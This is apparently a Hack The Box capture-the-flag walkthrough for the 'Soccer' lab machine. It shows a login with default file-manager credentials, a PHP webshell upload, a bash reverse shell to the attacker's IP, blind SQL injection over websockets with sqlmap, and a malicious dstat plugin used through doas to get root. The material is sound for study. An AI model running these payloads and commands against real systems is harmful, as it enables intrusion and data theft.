Soccer

Linux · Easy

10.10.11.194

Reconnaissance:

┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -O 10.10.11.194 

22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
|   256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
|_  256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)

80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/

9091/tcp open  xmltec-xmlmail?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 139
|     Date: Mon, 29 Jan 2024 02:55:02 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot GET /</pre>
|     </body>
|     </html>
|   HTTPOptions: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Mon, 29 Jan 2024 02:55:03 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|     </html>
|   RTSPRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Mon, 29 Jan 2024 02:55:05 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.94SVN%I=7%D=1/28%Time=65B71380%P=x86_64-pc-linux-gnu%r
SF:(informix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20clos
SF:e\r\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection
SF::\x20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found
SF:\r\nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type
SF:-Options:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\
SF:nContent-Length:\x20139\r\nDate:\x20Mon,\x2029\x20Jan\x202024\x2002:55:
SF:02\x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20l
SF:ang=\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\
SF:n</head>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r
SF:(HTTPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-
SF:Policy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\
SF:r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x201
SF:43\r\nDate:\x20Mon,\x2029\x20Jan\x202024\x2002:55:03\x20GMT\r\nConnecti
SF:on:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n
SF:<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pr
SF:e>Cannot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,
SF:"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20defaul
SF:t-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\
SF:x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Mo
SF:n,\x2029\x20Jan\x202024\x2002:55:05\x20GMT\r\nConnection:\x20close\r\n\
SF:r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=
SF:\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIO
SF:NS\x20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20
SF:Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP
SF:,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n
SF:")%r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConn
SF:ection:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Reques
SF:t\r\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x2040
SF:0\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.09 seconds
┌──(kali💀kali)-[~]
└─$ sudo nmap -sU -O 10.10.11.194                          

68/udp open|filtered dhcpc

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1028.07 seconds
Open Ports | Service Running
-----------|-----------------
22         | ssh
80         | http
9091       | xmltec-xmlmail

Enumeration: HTTP 80/tcp

http://soccer.htb/

WAPP:
Web servers
- Nginx 1.18.0
Operating systems
- Ubuntu
CDN
- cdnjs
- Google Hosted Libraries
- jsDelivr
- Cloudflare
JavaScript libraries
- jQuery 3.2.1
Reverse proxies
- Nginx 1.18.0
UI frameworks
- Bootstrap 5.2.2
┌──(kali💀kali)-[~]
└─$ sudo nano /etc/hosts 
10.10.11.194    soccer.htb
view-source:http://soccer.htb/
┌──(kali💀kali)-[~]
└─$ whatweb -a3 http://soccer.htb/ -v   
WhatWeb report for http://soccer.htb/
Status    : 200 OK
Title     : Soccer - Index
IP        : 10.10.11.194
Country   : RESERVED, ZZ

Summary   : Bootstrap[4.1.1], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], JQuery[3.2.1,3.6.0], nginx[1.18.0], Script, X-UA-Compatible[IE=edge]

Detected Plugins:
[ Bootstrap ]
        Bootstrap is an open source toolkit for developing with 
        HTML, CSS, and JS. 

        Version      : 4.1.1
        Version      : 4.1.1
        Website     : https://getbootstrap.com/

[ HTML5 ]
        HTML version 5, detected by the doctype declaration 


[ HTTPServer ]
        HTTP server header string. This plugin also attempts to 
        identify the operating system from the server header. 

        OS           : Ubuntu Linux
        String       : nginx/1.18.0 (Ubuntu) (from server string)

[ JQuery ]
        A fast, concise, JavaScript that simplifies how to traverse 
        HTML documents, handle events, perform animations, and add 
        AJAX. 

        Version      : 3.2.1,3.6.0
        Website     : http://jquery.com/

[ Script ]
        This plugin detects instances of script HTML elements and 
        returns the script language/type. 


[ X-UA-Compatible ]
        This plugin retrieves the X-UA-Compatible value from the 
        HTTP header and meta http-equiv tag. - More Info: 
        http://msdn.microsoft.com/en-us/library/cc817574.aspx 

        String       : IE=edge

[ nginx ]
        Nginx (Engine-X) is a free, open-source, high-performance 
        HTTP server and reverse proxy, as well as an IMAP/POP3 
        proxy server. 

        Version      : 1.18.0
        Website     : http://nginx.net/

HTTP Headers:
        HTTP/1.1 200 OK
        Server: nginx/1.18.0 (Ubuntu)
        Date: Mon, 29 Jan 2024 04:53:55 GMT
        Content-Type: text/html
        Last-Modified: Thu, 17 Nov 2022 08:07:11 GMT
        Transfer-Encoding: chunked
        Connection: close
        ETag: W/"6375ebaf-1b05"
        Content-Encoding: gzip
┌──(kali💀kali)-[~]
└─$ curl -i http://soccer.htb

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 29 Jan 2024 04:54:23 GMT
Content-Type: text/html
Content-Length: 6917
Last-Modified: Thu, 17 Nov 2022 08:07:11 GMT
Connection: keep-alive
ETag: "6375ebaf-1b05"
Accept-Ranges: bytes
┌──(kali💀kali)-[~]
└─$ nikto -h http://soccer.htb

+ Server: nginx/1.18.0 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ nginx/1.18.0 appears to be outdated (current is at least 1.20.1).
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 7962 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2024-01-29 00:45:43 (GMT-5) (2898 seconds)
┌──(kali💀kali)-[~]
└─$ gobuster dir -u http://soccer.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -x php,txt

/tiny                 (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]

BURP: 10.10.11.194:9091 http://soccer.htb/tiny/ http://soccer.htb/tiny/tinyfilemanager.php

Notice the Bottom of the Image → © CCP Programmers

The Page is developed by Tiny File Manager which uses 2 default credentials that are mentioned in their GitHub documentation.

Try to Login with those Credentials.

username: admin
password: admin@123

username: user
password: 12345

We logged In as Admin

Foot Hold: Shell as www-data

Tiny File Manager: Logged in, the page show the files that are part of the Soccer website:

http://soccer.htb/tiny/tinyfilemanager.php?p=tiny&view=tinyfilemanager.php

// Login user name and password
// Users: array('Username' => 'Password', 'Username2' => 'Password2', ...)
// Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html
$auth_users = array(
    'admin' => '$2y$10$/K.hjNr84lLNDt8fTXjoI.DBp6PpeyoJ.mGwrrLuCZfAwfSAGqhOW', //admin@123
    'user' => '$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO' //12345


// if User has the customized config file, try to use it to override the default config above
$config_file = 'config.php';
if (is_readable($config_file)) {
    @include($config_file);

The tiny directory has the filemanager page, as well as the uploads directory There is a “File Upload” feature that we can use to obtain a Reverse shell

Shell: I’ll make a simple PHP webshell:

┌──(kali💀kali)-[~/Desktop]
└─$ nano shell.php   
<?php system($_REQUEST["cmd"]); ?>

I’ll use the “Upload” button, and it offers a way to upload If I try to upload in /var/www/html/, it fails If I navigate to /tiny/uploads and then click “Upload”, it works: Destination Folder: /var/www/html/tiny/uploads

The webshell provides execution:

┌──(kali💀kali)-[~/Desktop]
└─$ curl http://soccer.htb/tiny/uploads/shell.php -d 'cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

I’ll start nc listening on 443 on my host, and trigger a reverse shell by sending a bash reverse shell:

┌──(kali💀kali)-[~]
└─$ nc -lnvp 443

┌──(kali💀kali)-[~/Desktop]
└─$ curl http://soccer.htb/tiny/uploads/shell.php -d 'cmd=bash -c "bash -i >%26 /dev/tcp/10.10.16.6/443 0>%261"'

┌──(kali💀kali)-[~]
└─$ nc -lnvp 443

connect to [10.10.16.6] from (UNKNOWN) [10.10.11.194] 59324
www-data@soccer:~/html/tiny/uploads$ whoami
www-data

www-data@soccer:~/html/tiny/uploads$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@soccer:~/html/tiny/uploads$ python3 -c "import pty;pty.spawn('/bin/bash')" 
www-data@soccer:~/html/tiny/uploads$ 

Priv Esc: Shell as player

Enumeration:

Web Roots The files in /var/www/html match what I observed via the file manager:

www-data@soccer:~/html$ ls
football.jpg  ground2.jpg  ground4.jpg  tiny
ground1.jpg   ground3.jpg  index.html

There’s no database connection. The only credentials in the files are the users created for the Tiny File Manager:

http://soccer.htb/tiny/tinyfilemanager.php?p=tiny&view=tinyfilemanager.php

// Login user name and password
// Users: array('Username' => 'Password', 'Username2' => 'Password2', ...)
// Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html
$auth_users = array(
    'admin' => '$2y$10$/K.hjNr84lLNDt8fTXjoI.DBp6PpeyoJ.mGwrrLuCZfAwfSAGqhOW', //admin@123
    'user' => '$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO' //12345

Other Home Directories There’s one home directory in /home, player user.txt is in that directory but www-data can’t read it:

www-data@soccer://home/player$ cat user.txt
cat: user.txt: Permission denied

Network / Processes The netstat shows a few ports that weren’t available from the outside:

www-data@soccer://home/player$ netstat -tnlp

tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1093/nginx: worker  
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:9091            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      1093/nginx: worker  
tcp6       0      0 :::22                   :::*                    LISTEN      -    

There’s still not much information about what 9091 could be. Port 3000 looks to be another web page:

www-data@soccer:/$ curl localhost:3000

3306 and 33060 both seem to be MySQL instances:

www-data@soccer:/$ mysql -p 3306
www-data@soccer:/$ mysql -p 33060

It’s hard to verify any of this as www-data can only read it’s own processes:

www-data@soccer://home/player$ ps auxww
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
www-data    1093  0.1  0.1  54212  6456 ?        S    02:48   0:47 nginx: worker process
www-data    1094  0.1  0.1  54080  6200 ?        S    02:48   0:32 nginx: worker process
www-data    3542  0.0  0.0   2608   532 ?        S    07:04   0:00 sh -c bash -c "bash -i >& /dev/tcp/10.10.16.6/443 0>&1"
www-data    3543  0.0  0.0   3976  2916 ?        S    07:04   0:00 bash -c bash -i >& /dev/tcp/10.10.16.6/443 0>&1
www-data    3544  0.0  0.0   4108  3588 ?        S    07:04   0:00 bash -i
www-data    3550  0.0  0.2  15956  9448 ?        R    07:05   0:00 python3 -c import pty;pty.spawn('/bin/bash')
www-data    3551  0.0  0.0   7304  3696 pts/0    Ss   07:05   0:00 /bin/bash

That is because /proc is mounted with hidepid=2:

www-data@soccer://home/player$ mount | grep ^proc
proc on /proc type proc (rw,nodev,relatime,hidepid=2)

nginx There’s nothing else of interest in the system root or /opt or /srv. I’ll look at how nginx is configured. There are two site files in /etc/nginx/sites-enabled:

www-data@soccer://home/player$ cd /etc/nginx/sites-enabled
www-data@soccer:/etc/nginx/sites-enabled$ ls
default  soc-player.htb

default set up the redirect to soccer.htb: It also configures the main site, allowing it PHP for PHP files: soc-player.htb sets up another site that matches on the name soc-player.soccer.htb: This webserver is hosted out of /root/, which is interesting, and passes to localhost 3000 (as observed previously).

Let’s add the soc-player.soccer.htb to our /etc/hosts and open it in the browser

┌──(kali💀kali)-[~/Desktop]
└─$ sudo nano /etc/hosts 
10.10.11.194	soc-player.soccer.htb

http://soc-player.soccer.htb/

soc-player.soccer.htb:

This site looks exactly the same as the previous, except it has more options in the menu bar: “Match” has a page with a couple matches on it: It mentions a free ticket with login. I’ll register an account on the login: After logging in, it redirects to /check, where I get a ticket id:

http://soc-player.soccer.htb/check

I can put a ticket id into the field and hit enter, and it tells me that the ticket exists: Or a different number does not exist:

It’s running Express, a NodeJS web framework.

Websockets:

There’s another interesting request. Logging in submits a POST request to /login. On success, it returns a 302 redirect to /check. As that page is loading, it makes a request to soc-player.soccer.htb:9091, which returns a 101:

GET / HTTP/1.1
Host: soc-player.soccer.htb:9091
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Upgrade: websocket
Origin: http://soc-player.soccer.htb
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: connect.sid=s%3AHi87C0dfLfezwW7FEekEH90jafe4cnTF.UB3DlPrIEHEKfsIDMmd5qVC4S9M6oY49MMO8lfh4JkU
Sec-WebSocket-Key: LqseXXVnT3aF4dJjbC0BwA==

HTTP 101 is a Switching Protocols response:

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: 0aUpHCctSJfNaJVM8Bx8NnpqeyY=

TCP 9091 is a websocket server. There’s no immediate messages shown in the “WebSockets history” tab in Burp. But once I check a ticket, there’s a message and a response: The sent message is simply JSON with the id: The response is just the text that is shown:

SQL Injection over Websockets:

Identify I’ll send one of the “To server” message to Burp Repeater and play around with it. Adding in a ' doesn’t do anything other than return “Ticket Doesn’t Exist”. Any time I’m trying SQLI with an integer value, it’s worth trying without a ' as well. The ' is used to close strings, but if the input is being handled as an integer, perhaps just an ' or 1=1– - will work (where – - is to comment out whatever follows). It does: There is no ticket 0, but it still returns exists because it pulls all rows.

Blind SQL Injection Background This is a blind SQL injection - no data from the database comes back in the response, only one of two responses. The goal is to be able to ask questions of the database. For example, “is there a username that starts with ‘a’”? To get there, first I’ll need to be able to picture the query being run on the system. It’s going to be something like:

SELECT * from ticket where id = {id};

If one or more rows return, then it says the ticket exists, else it doesn’t. To make a test, there are a few ways I could structure a query. For manual testing, I prefer to use a UNION injection. I’ll send something that will return no rows, and then use a UNION to make another query, and then if that query returns rows, it will return that the “Ticket Exists”. It’s also possible to make these queries using OR foo=bar to test, but I find those more difficult to think about when doing the manual approach. I’ll also note that the app seems to handle query errors by returning “Ticket Doesn’t Exist” rather than crashing.

Manually Building a UNION I need to know the number of columns returned from the query, because my UNION statement must return the same number, or it crashes. If I send one, it returns false:

I’ll add more columns until it returns true at three columns:

Now the query on the server looks like this:

SELECT * from ticket where id = 0 UNION SELECT 1,2,3;

The first select returns no row, and then my UNION returns the values 1, 2, 3, and it returns “Ticket Exists”.

Manually Asking a Question Now to ask a question. In MySQL, there’s a mysql.user table with the users that can log into MySQL. I’m going to send this payload that will return true if there’s a user in that table that starts with “a”:

{"id":"0 UNION select user,2,3 from mysql.user where user like 'a%'-- -"}

It returns false. There is likely a user named “root”, and changing “a” to “r”, it returns true: With enough requests, any value from the table can be brute-forced one character at a time.

sqlmap

Doing all of this manually is impossible, so I’ll either have to write a script to do it, or find a tool. sqlmap is the perfect tool here, and it even works over websockets. If sqlmap returns this error, it’s because the Python websockets library is missing:

[21:17:13] [CRITICAL] sqlmap requires third-party module 'websocket-client' in order to use WebSocket functionality 

Or if sqlmap returns this error, it’s because the wrong websockets library is installed:

[21:18:30] [ERROR] wrong modification time of '/usr/share/sqlmap/sqlmapapi.py'
[21:18:30] [ERROR] wrong modification time of '/usr/share/sqlmap/sqlmap.py'
[21:18:30] [ERROR] wrong modification time of '/usr/share/sqlmap/thirdparty/identywaf/identYwaf.py'
[21:18:30] [CRITICAL] wrong websocket library detected (Reference: 'https://github.com/sqlmapproject/sqlmap/issues/4572#issuecomment-77504
1086')

Either of these are fixed with: pip install websocket-client I’ll give it the following arguments:

    -u "ws://soc-player.soccer.htb:9091" - The URL to connect to.
    --data '{"id": "1234"}' - The data to send.
    --dbms mysql - Tell sqlmap that it’s running MySQL.
    --batch - Take the default answer on all questions.
    --level 5 --risk 3 - Increase to the most aggressive to find the boolean injection (without this it just finds a time-based injection, which is really slow).

It finds a time-based injection, and then finds the three column UNION-based boolean as well: It’s using the OR structure for boolean rather than UNION.

┌──(kali💀kali)-[~]
└─$ sqlmap -u ws://soc-player.soccer.htb:9091 --data '{"id": "1234"}' --dbms mysql --batch --lev
el 5 --risk 3

Enumerate DB:

List Databases Now that sqlmap has found an injection, I’ll up-arrow and add --dbs to the previous command. Theads are safe to do in a boolean injection, so I’ll add --threads 10 to speed it up. It will pick up where it left off and list the available databases:

┌──(kali💀kali)-[~]
└─$ sqlmap -u ws://soc-player.soccer.htb:9091 --dbs --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3 --threads 10

List Tables in soccer_db soccer_db seems like the only non-default DB. I’ll replace --dbs with -D soccer_db to specify that database and then add --tables to list the tables:

┌──(kali💀kali)-[~]
└─$ sqlmap -u ws://soc-player.soccer.htb:9091 -D soccer_db --tables --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3 --threads 10

There’s only one.

Dump accounts In general, with boolean and time-based SQL injections, I want to be careful about dumping tons of data, as it will be very slow. That said, since there’s only one table, I want the entire thing, so I’ll replace --tables with -T accounts and add --dump. It dumps the table:

sqlmap -u ws://soc-player.soccer.htb:9091 -D soccer_db -T accounts --dump --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3 --threads 10

The user is player and the password is in plaintext.

su / SSH: That password works for the player user on the box with su, It works for SSH as well:

┌──(kali💀kali)-[~]
└─$  ssh player@soccer.htb
PlayerOftheMatch2022

player@soccer:~$ whoami
player

player@soccer:~$ id
uid=1001(player) gid=1001(player) groups=1001(player)

player@soccer:~$ ls
user.txt

player@soccer:~$ cat user.txt
369c5f---------------------------

Shell as root

Enumeration:

sudo / doas: The first check on Linux is always sudo, but nothing set up for player on Soccer:

player@soccer:~$ sudo -l
[sudo] password for player: 
Sorry, user player may not run sudo on localhost.

However, in looking for SetUID binaries, the first one jumps out:

player@soccer:~$ find / -perm -4000 2>/dev/null
/usr/local/bin/doas

doas is an alternative to sudo typically found on OpenBSD operating systems, but that can be installed on Debian-base Linux OSes like Ubuntu.

doas Config: I don’t see a doas.conf file in /etc, so I’ll search the filesystem for it with find:

player@soccer:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:112:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
player:x:1001:1001::/home/player:/bin/bash
mysql:x:113:121:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:997:997::/var/log/laurel:/bin/false
player@soccer:~$ find / -name doas.conf 2>/dev/null
/usr/local/etc/doas.conf

It has one line:

player@soccer:~$ cat /usr/local/etc/doas.conf 
permit nopass player as root cmd /usr/bin/dstat

player can run the command dstat as root.

dstat:

man Page dstat is a tool for getting system information. Looking at the man page, there’s a section on plugins that says:

While anyone can create their own dstat plugins (and contribute them) dstat ships with a number of plugins already that extend its capabilities greatly.

At the very bottom of the page, it has a section on files: Paths that may contain external dstat_*.py plugins:

~/.dstat/
(path of binary)/plugins/
/usr/share/dstat/
/usr/local/share/dstat/

Plugins are Python scripts with the name dstat_[plugin name].py.

Malicious Plugin: I’ll write a very simple plugin:

import os
os.system("/bin/bash")

This will drop into Bash for an interactive shell. Looking at the list of locations, I can obviously write to ~/.dstat, but when run with doas, it’ll be running as root, and therefore won’t check /home/player/.dstat. Luckily, /usr/local/share/dstat is writable.

player@soccer:~$ echo -e 'import os\n\nos.system("/bin/bash")' > /usr/local/share/dstat/dstat_exodus.py

With that in place, I’ll invoke dstat with the 0xdf plugin:

player@soccer:~$ doas /usr/bin/dstat --exodus
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp

root@soccer:/home/player# whoami
root

root@soccer:/home/player# id
uid=0(root) gid=0(root) groups=0(root)

root@soccer:/home/player# cd ~
root@soccer:~# ls
app  root.txt  run.sql  snap

root@soccer:~# cat root.txt
1b2789----------------------------

Last updated